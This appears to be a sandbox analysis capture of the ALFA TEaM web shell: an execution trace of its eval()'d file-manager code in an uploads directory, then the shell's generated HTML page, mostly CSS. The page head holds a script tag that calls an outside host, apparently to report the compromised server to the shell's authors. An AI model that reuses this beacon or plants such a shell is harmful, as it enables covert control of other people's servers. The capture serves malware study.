6	702	0	0.105296	3534808	alfaCmp	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3407	2	['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_white_perm">0644</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rw-r--r--</span>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file']	['name' => 'alfa.php', 'path' => '/var/www/html/uploads/alfa.php', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_white_perm">0664</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rw-rw-r--</span>', 'size' => 454562, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']
7	703	0	0.105329	3534808	strtolower	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3403	1	'.htaccess'
7	703	1	0.105343	3534840
7	703	R			'.htaccess'
7	704	0	0.105358	3534808	strtolower	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3403	1	'alfa.php'
7	704	1	0.105372	3534840
7	704	R			'alfa.php'
7	705	0	0.105385	3534808	strcmp	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3403	2	'.htaccess'	'alfa.php'
7	705	1	0.105399	3534872
7	705	R			-1
6	702	1	0.105413	3534808
6	702	R			-1
6	706	0	0.105426	3534808	alfaCmp	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3407	2	['name' => 'alfa.php', 'path' => '/var/www/html/uploads/alfa.php', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_white_perm">0664</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rw-rw-r--</span>', 'size' => 454562, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file']	['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_white_perm">0755</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rwxr-xr-x</span>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']
7	707	0	0.105457	3534808	strtolower	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3403	1	'alfa.php'
7	707	1	0.105471	3534840
7	707	R			'alfa.php'
7	708	0	0.105484	3534808	strtolower	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3403	1	'prepend.php'
7	708	1	0.105498	3534840
7	708	R			'prepend.php'
7	709	0	0.105510	3534808	strcmp	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3403	2	'alfa.php'	'prepend.php'
7	709	1	0.105525	3534872
7	709	R			-1
6	706	1	0.105538	3534808
6	706	R			-1
5	701	1	0.105550	3534432
5	701	R			TRUE
5	710	0	0.105563	3534384	usort	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3408	2	[0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_green_perm">0777</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_green_perm">drwxrwxrwx</span>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_green_perm">0777</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_green_perm">drwxrwxrwx</span>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']]	'alfaCmp'
6	711	0	0.105598	3534832	alfaCmp	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3408	2	['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_green_perm">0777</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_green_perm">drwxrwxrwx</span>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']	['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_green_perm">0777</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_green_perm">drwxrwxrwx</span>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']
7	712	0	0.105628	3534832	strtolower	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3403	1	'..'
7	712	1	0.105642	3534864
7	712	R			'..'
7	713	0	0.105655	3534832	strtolower	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3403	1	'data'
7	713	1	0.105668	3534864
7	713	R			'data'
7	714	0	0.105680	3534832	strcmp	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3403	2	'..'	'data'
7	714	1	0.105694	3534896
7	714	R			-3552051
6	711	1	0.105708	3534832
6	711	R			-3552051
5	710	1	0.105721	3534456
5	710	R			TRUE
5	715	0	0.105733	3534384	array_merge	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3409	2	[0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_green_perm">0777</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_green_perm">drwxrwxrwx</span>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_green_perm">0777</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_green_perm">drwxrwxrwx</span>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir']]	[0 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_white_perm">0644</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rw-r--r--</span>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 1 => ['name' => 'alfa.php', 'path' => '/var/www/html/uploads/alfa.php', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_white_perm">0664</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rw-rw-r--</span>', 'size' => 454562, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 2 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_white_perm">0755</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rwxr-xr-x</span>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]
5	715	1	0.105785	3534824
5	715	R			[0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_green_perm">0777</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_green_perm">drwxrwxrwx</span>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_green_perm">0777</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_green_perm">drwxrwxrwx</span>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_white_perm">0644</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rw-r--r--</span>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 3 => ['name' => 'alfa.php', 'path' => '/var/www/html/uploads/alfa.php', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_white_perm">0664</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rw-rw-r--</span>', 'size' => 454562, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 4 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_white_perm">0755</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rwxr-xr-x</span>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3409	$files = [0 => ['name' => '..', 'path' => '/var/www/html/uploads/..', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_green_perm">0777</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_green_perm">drwxrwxrwx</span>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 1 => ['name' => 'data', 'path' => '/var/www/html/uploads/data', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_green_perm">0777</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_green_perm">drwxrwxrwx</span>', 'size' => 4096, 'owner' => 'root', 'group' => 'root', 'type' => 'dir'], 2 => ['name' => '.htaccess', 'path' => '/var/www/html/uploads/.htaccess', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_white_perm">0644</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rw-r--r--</span>', 'size' => 64, 'owner' => 'root', 'group' => 'root', 'type' => 'file'], 3 => ['name' => 'alfa.php', 'path' => '/var/www/html/uploads/alfa.php', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_white_perm">0664</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rw-rw-r--</span>', 'size' => 454562, 'owner' => 'osboxes', 'group' => 'osboxes', 'type' => 'file'], 4 => ['name' => 'prepend.php', 'path' => '/var/www/html/uploads/prepend.php', 'modify' => '2023-02-13 02:54:45', 'perms' => '<span style="font-weight:unset;" class="main_white_perm">0755</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="main_white_perm">-rwxr-xr-x</span>', 'size' => 57, 'owner' => 'root', 'group' => 'root', 'type' => 'file']]
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3410	$l = 0
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3411	$cc = 0
5	716	0	0.105913	3534384	htmlspecialchars	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3413	1	'..'
5	716	1	0.105928	3534576
5	716	R			'..'
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3413	$f['name'] = '..'
4	94	1	0.105964	3528432
3	47	1	0.105974	3528432
2	46	1	0.105996	3101120
2	46	R			NULL
1	3	1	0.106013	3101120
1	717	0	0.106021	3101152	Error->__toString	0		Unknown	0	0
2	718	0	0.106033	3101232	Error->getTraceAsString	0		Unknown	0	0
2	718	1	0.106046	3105328
2	718	R			'#0 /var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()\'d code(6323): alfaFilesMan()\n#1 /var/www/html/uploads/alfa.php(52) : runtime-created function(1): eval()\n#2 /var/www/html/uploads/alfa.php(64): __lambda_func(\'?><?php\\r\\n\\r\\n/*\\r\\n...\')\n#3 {main}'
1	717	1	0.106073	3105624
1	717	R			'Error: Call to undefined function mb_strlen() in /var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()\'d code:3414\nStack trace:\n#0 /var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()\'d code(6323): alfaFilesMan()\n#1 /var/www/html/uploads/alfa.php(52) : runtime-created function(1): eval()\n#2 /var/www/html/uploads/alfa.php(64): __lambda_func(\'?><?php\\r\\n\\r\\n/*\\r\\n...\')\n#3 {main}'
			0.106143	3008144
TRACE END   [2023-02-12 21:25:11.813847]


Generated HTML code

<html xmlns="http://www.w3.org/1999/xhtml"><head>
<script src="http://shellizm.com/kaydet.php"></script>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="ROBOTS" content="NOINDEX, NOFOLLOW">
<link href="http://solevisible.com/images/alfamini.png" rel="icon" type="image/x-icon">
<title>..:: localhost ~ ALFA TEaM Shell - v3.0.2 ::..</title>
<link href="https://fonts.googleapis.com/css?family=Francois+One" rel="stylesheet">
<style type="text/css">
.hlabale {
    color: #67ABDF;
    border-radius: 4px;
    border: 1px solid #27979B;
    margin-left: 7px;
    padding: 2px;
}
#tbl_sympphp tr {
	text-align: center;
}
.editor-view {
	position: relative;
}
.view-content {
	position: absolute;
	overflow-y: auto;
	width: 100%;
	height: 475px;
}
*::-webkit-scrollbar-track {
	-webkit-box-shadow: inset 0 0 6px rgba(0,0,0,0.3);
	border-radius: 10px;
	background-color: #000115;
}
*::-webkit-scrollbar{
	width: 10px;
	background-color: #000115;
}
*::-webkit-scrollbar-thumb {
	border-radius: 10px;
	-webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
	background-color: rgb(30, 130, 181);
}
.editor-file-name {
	margin-left: 29px;
	margin-top: 4px;
	overflow: hidden;
    text-overflow: ellipsis;
    white-space: nowrap;
}
.editor-icon {
	position: absolute;
}
.is_active {
	background: rgba(49, 55, 93, 0.77);
	border-radius: 10px;
}
.history-list {
	height: 88%;
	overflow-y: auto;
}
#editor-minimized,#cgiloader-minimized {
	display: block;
	position: fixed;
	right: -30px;
	width: 30px;
	height: 30px;
	top: 30%;
}
.minimized-wrapper {
	position: relative;
	background: rgb(14, 48, 74);
    width: 44px;
    height: 167px;
	cursor: pointer;
	border-bottom-left-radius: 5px;
	border-top-left-radius: 5px;
}
.minimized-text {
    transform: rotate(-90deg);
    color: wheat;
    font-size: x-large;
    display: inline-block;
    position: absolute;
    right: -51px;
    width: 129px;
    top: 50px;
    border-top-left-radius: 4%;
    height: 56px;
    padding: 3px
}
.close-button,.editor-minimize {
	height: 26px;
    width: 38px;
    right: 7px;
    background: rgb(29, 86, 115);
    cursor: pointer;
    position: absolute;
    box-sizing: border-box;
    line-height: 50px;
    display: inline-block;
    top: 17px;
    border-radius: 100px;
}
.editor-minimize {right: 50px;}
.close-button:before,.close-button:after,.editor-minimize:before {
	transform: rotate(-45deg);
    content: "";
    position: absolute;
    top: 63%;
    right: 6px;
    margin-top: -5px;
    margin-left: -25px;
    display: block;
    height: 4px;
    width: 27px;
    background-color: rgba(216, 207, 207, 0.75);
    transition: all 0.25s ease-out;
}
.editor-minimize:before{
	transform: rotate(0deg);
}
.close-button:after {
  transform: rotate(-135deg);
}
.close-button:hover:before,.close-button:hover:after,.editor-minimize:hover:before{
	background-color: red;
}
.close-button:hover,.editor-minimize:hover{
	background-color: rgba(39, 66, 80, 0.96);
}
#editor,#cgiloader {
	display: none;
	position: fixed;
    top: 0;
	width: 100%;
	height: 100%;
}
.editor-wrapper {
	width: 100%;
    height: 100%;
    position: relative;
    top: 1%;
}
.editor-header {
	width: 97%;
    background: rgba(21, 66, 88, 0.93);
    height: 37px;
    margin-left: 13px;
    position: relative;
	border-top-left-radius: 15px;
	border-top-right-radius: 15px;
}
.editor-path {
	position: absolute;
    font-size: x-large;
    margin-left: 10px;
    top: 6px;
    color: springgreen;
}
.editor-modal {
    position: relative;
    top: 0;
    background-color: rgba(0, 1, 23, 0.95);
    height: 90%;
    margin-left: 20%;
    margin-right: 2%;
    border: 2px #0e304a solid;
}
.editor-explorer {
    width: 19%;
    height: 90%;
    background-color: rgba(0, 1, 23, 0.94);
    position: absolute;
    z-index: 2;
    left: 1%;
    border: 2px rgb(14, 48, 74) solid;
}
.editor-controller {
	position: relative;
	top: -13px;
}
.file-holder {
	position: relative;
    width: 100%;
    height: 30px;
}
.file-holder > .history {
	position: absolute;
    color: rgb(3, 179, 163);
    cursor: pointer;
	left:5px;
    font-size: 18px;
    font-family: sans-serif;
	width:89%;
	height:100%;
	z-index: 3;
	border-radius: 10px;
	transition: background-color 600ms ease-out;
}
.file-holder > .history-close {
	display: block;
    opacity: 0;
    position: absolute;
    right: 2px;
    width: 20px;
    top: 4px;
    text-align: center;
    cursor: pointer;
    color: white;
    background: red;
    border-radius: 100px;
    font-family: monospace;
    z-index: 10;
    transition: opacity 600ms ease-out;
    font-size: 15px;
    height: 19px;
}
.file-holder > .history:hover {
	background-color: #646464;
}
.editor-explorer > .hheader {
	position: relative;
    color: rgb(20, 255, 7);
    border-bottom: 2px rgb(32, 106, 162) solid;
    text-align: center;
    font-family: sans-serif;
    margin-bottom: 10px;
	height: 55px;
}
.editor-search {
	position: absolute;
    bottom: 7px;
    left: 31px;
}
.hheader-text {
	position: absolute;
    left: 8px;
    top: 2px;
}
.history-clear {
	position: absolute;
    right: 8px;
    top: 2px;
    cursor: pointer;
}
.editor-body {
	position: relative;
	margin-left: 3px;
}
.editor-anim-close {
	-webkit-animation: editorClose 800ms ease-in-out forwards;-moz-animation: editorClose 800ms ease-in-out forwards;-ms-animation: editorClose 800ms ease-in-out forwards;animation: editorClose 800ms ease-in-out forwards;
}
@keyframes editorClose {
	0% {
		transform: scale(1);
		opacity: 1;
	}
	100% {
		transform: scale(0);
		opacity: 0;
	}
}
.editor-anim-minimize {
	-webkit-animation: editorMinimize 800ms ease-in-out forwards;-moz-animation: editorMinimize 800ms ease-in-out forwards;-ms-animation: editorMinimize 800ms ease-in-out forwards;animation: editorMinimize 800ms ease-in-out forwards;
}
@keyframes editorMinimize {
	0% {
		right:0px;
		opacity: 1;
	}
	100% {
		right: -2000px;
		opacity: 0;
	}
}
.editor-anim-show {
	-webkit-animation: editorShow 800ms ease-in-out forwards;-moz-animation: editorShow 800ms ease-in-out forwards;-ms-animation: editorShow 800ms ease-in-out forwards;animation: editorShow 800ms ease-in-out forwards;
}
@keyframes editorShow {
	0% {
		right:-2000px;
		opacity: 0;
	}
	100% {
		right: 0px;
		opacity: 1;
	}
}
.minimized-show {
	-webkit-animation: minimizeShow 800ms ease-in-out forwards;-moz-animation: minimizeShow 800ms ease-in-out forwards;-ms-animation: minimizeShow 800ms ease-in-out forwards;animation: minimizeShow 800ms ease-in-out forwards;
}
@keyframes minimizeShow {
	0% {
		right: -30px;
		opacity: 0;
	}
	100% {
		right: 0px;
		opacity: 1;
	}
}
.minimized-hide {
	-webkit-animation: minimizeHide 800ms ease-in-out forwards;-moz-animation: minimizeHide 800ms ease-in-out forwards;-ms-animation: minimizeHide 800ms ease-in-out forwards;animation: minimizeHide 800ms ease-in-out forwards;
}
@keyframes minimizeHide {
	0% {
		right: 0px;
		opacity: 1;
	}
	100% {
		right: -30px;
		opacity: 0;
	}
}
.solevisible-text:hover {
	-webkit-text-shadow: 0px 0px 25px #00FF00;
	-moz-text-shadow: 0px 0px 25px #00FF00;
	-ms-text-shadow: 0px 0px 25px #00FF00;
	text-shadow: 0px 0px 25px #00FF00;
}
.update-holder {
    position: fixed;
    top: 0;
    background-color: rgba(0, 24, 29, 0.72);
    width: 100%;
    height: 100%;
}
.update-partner {
    width: 50%;
    position: relative;
    border-radius: 31px;
    height: 200px;
    background-color: rgba(3, 3, 41, 0.47);
    text-align: center;
    color: rgba(252, 253, 251, 0.88);
    margin-left: 25%;
    top: 23%;
    font-family: "Francois One", sans-serif;
}
.update-partner:hover {
-webkit-box-shadow: inset 0px 0px 99px 9px rgba(11,15,41,1);
-moz-box-shadow: inset 0px 0px 99px 9px rgba(11,15,41,1);
box-shadow: inset 0px 0px 99px 9px rgba(11,15,41,1);
}
.update-content {
	position: relative;
}
.update-content > a {
    text-decoration: none;
    position: absolute;
    color: rgba(103, 167, 47, 0.77);
    left: 24%;
    margin-top: 7%;
    font-size: 40px;
    font-family: "Francois One", sans-serif;
}
.update-close {
	position: absolute;
    right: 0;
    margin-right: 23px;
    top: 10px;
    font-size: 27px;
    background-color: #130f50;
    width: 5%;
    border-radius: 100px;
    cursor: pointer;
    border: 2px rgb(14, 38, 90) solid;
}
.update-close:hover {
	border: 2px #25ff00 solid;
    color: #FF0000;
}
.filestools {
    height: auto;
    width: auto;
    color: #67ABDF;
    font-size: 12px;
    font-family: Verdana,Geneva,sans-serif;
}
@-moz-document url-prefix() {
	#search-input {
		width: 173px;
	}
	.editor-path {
		top:3px;
	}
}
@keyframes spin {from {transform: rotate(0deg);}to{transform: rotate(360deg);}}
@-webkit-keyframes spin {from {-webkit-transform: rotate(0deg);}to {-webkit-transform: rotate(360deg);}}
@-moz-keyframes spin {from {-moz-transform: rotate(0deg);}to {-moz-transform: rotate(360deg);}}
@-ms-keyframes spin {from {-ms-transform: rotate(0deg);}to {-ms-transform: rotate(360deg);}}
#alfaloader{	-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;width:100px;height:100px;}
#a_loader{	-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;width:150px;height:150px;position:fixed;z-index:999999;top: 42%;left: 45%;display:none;}
.ajaxarea{border:1px solid #0E304A;color:#67ABDF}#up_bar{background-color:red;width:0;height:2px;display:none;position:fixed;z-index:100000}#hidden_sh{background-color:#0E304A;text-align:center;position:absolute;right:0;left:90%;border-bottom-left-radius:2em}.alert_green{color:#0F0;font-family:"Comic Sans MS";font-size:small;text-decoration:none}.whole{background-color:#000;background-image:url(http://solevisible.com/images/alfabg.png);background-position:center;background-attachment:fixed;background-repeat:no-repeat}.header{height:auto;width:auto;border:7px solid #0E304A;color:#67ABDF;font-size:12px;font-family:Verdana,Geneva,sans-serif}.header a{text-decoration:none;}.filestools a{color:#0F0;text-decoration:none}.filestools a:hover{color:#FFF;text-decoration:none;}span{font-weight:bolder;color:#FFF}.txtfont{font-family:"Comic Sans MS";font-size:small;color:#fff;display:inline-block}.txtfont_header{font-family:"Comic Sans MS";font-size:large;display:inline-block;color:#59cc33}.tbltxt{font-family:"Comic Sans MS";color:#fff;font-size:small;display:inline-block}input[type="file"]{display:none}.inputfile{border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;border-radius:4px;height:20px;width:250px;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;display:inline-block;overflow:hidden}.inputfile:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}.inputfile span,.inputfile strong{padding:2px;padding-left:10px}.inputfile span{color:#25ff00;width:90px;min-height:2em;display:inline-block;text-overflow:ellipsis;white-space:nowrap;overflow:hidden;vertical-align:top;float:left}.inputfile strong{background-image:url(http://solevisible.com/images/alfamini.png);background-repeat:no-repeat;background-position:float;height:100%;width:109px;color:#fff;background-color:#0E304A;display:inline-block;float:right}.inputfile:focus strong,.inputfile.has-focus strong,.inputfile:hover strong{background-color:#46647A}.button{padding:3px}#addup,.button{cursor:pointer;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px;background-color:#000;color:green;border-radius:100px}#addup:hover,.button:hover{box-shadow:0 0 4px #27979B;border:1px solid #27979B;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:disabled:hover{cursor:not-allowed}td{padding:0px}.myCheckbox{padding-left:2px}.myCheckbox label{display:inline-block;cursor:pointer;position:relative}.myCheckbox input[type=checkbox]{display:none}.myCheckbox label:before{content:"";display:inline-block;width:14px;height:13px;position:absolute;background-color:#aaa;box-shadow:inset 0 2px 3px 0 rgba(0,0,0,.3),0 1px 0 0 rgba(255,255,255,.8)}.myCheckbox label{margin-bottom:15px;padding-right:17px}.myCheckbox label:before{border-radius:100px}input[type=checkbox]:checked + label:before{content:"";background-color:#0E304A;background-image:url(http://solevisible.com/images/alfamini.png);background-repeat:no-repeat;background-position:50% 50%;background-size:14px 14px;border:1px solid #0F0;box-shadow:0 0 4px #0F0}#meunlist{font-family:Verdana,Geneva,sans-serif;color:#FFF;width:auto;border-right-width:7px;border-left-width:7px;height:auto;font-size:12px;font-weight:700;border-top-width:0;border-color:#0E304A;border-style:solid}.whole #meunlist ul{text-align:center;list-style-type:none;margin:0;padding:5px 5px 7px 2px}.whole #meunlist li{margin:0;padding:0;display:inline}.whole #meunlist a{font-family:arial,sans-serif;font-size:14px;text-decoration:none;font-weight:700;clear:both;width:100px;margin-right:-6px;border-right-width:1px;border-right-style:solid;border-right-color:#FFF;padding:3px 15px}.foot{font-family:Verdana,Geneva,sans-serif;margin:0;padding:0;width:100%;text-align:center;font-size:12px;color:#0E304A;border-right-width:7px;border-left-width:7px;border-bottom-width:7px;border-bottom-style:solid;border-right-style:solid;border-right-style:solid;border-left-style:solid;border-color:#0E304A}#text{text-align:center}input[type=submit]{cursor:pointer;background-image:url(http://solevisible.com/images/btn.png);background-repeat:no-repeat;background-position:50% 50%;background-size:23px 23px;background-color:#000;width:30px;height:30px;border:1px solid #27979B;border-radius:100px}textarea{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}textarea:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]{padding:3px;color:#999;text-shadow:#777 0 0 3px;border:1px solid #0E304A;background:transparent;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}input[type=submit]:hover{color:#000;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:2px solid #27979B;-moz-border-radius:4px;border-radius:100px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}input[type=text]:hover{color:#FFF;text-shadow:#060 0 0 6px;box-shadow:0 0 4px #27979B;border:1px solid #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}select{padding:3px;width:162px;color:#FFE;text-shadow:#000 0 2px 7px;border:1px solid #0E304A;background:#000;text-decoration:none;box-shadow:0 0 4px #0E304A;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:#555 0 0 4px;-moz-box-shadow:#555 0 0 4px}select:hover{border:1px solid #27979B;box-shadow:0 0 4px #27979B;padding:3px;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;-webkit-box-shadow:rgba(0,119,0) 0 0 4px;-moz-box-shadow:rgba(0,119,0) 0 0 4px}
.foottable{width: 300px;font-weight: bold;}
.main th{text-align:left;}
.main a{color: #FFF;}
.main tr:hover{background-color:#646464;}
.ml1{ border:1px solid #0E304A;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:99%; height:300px; }
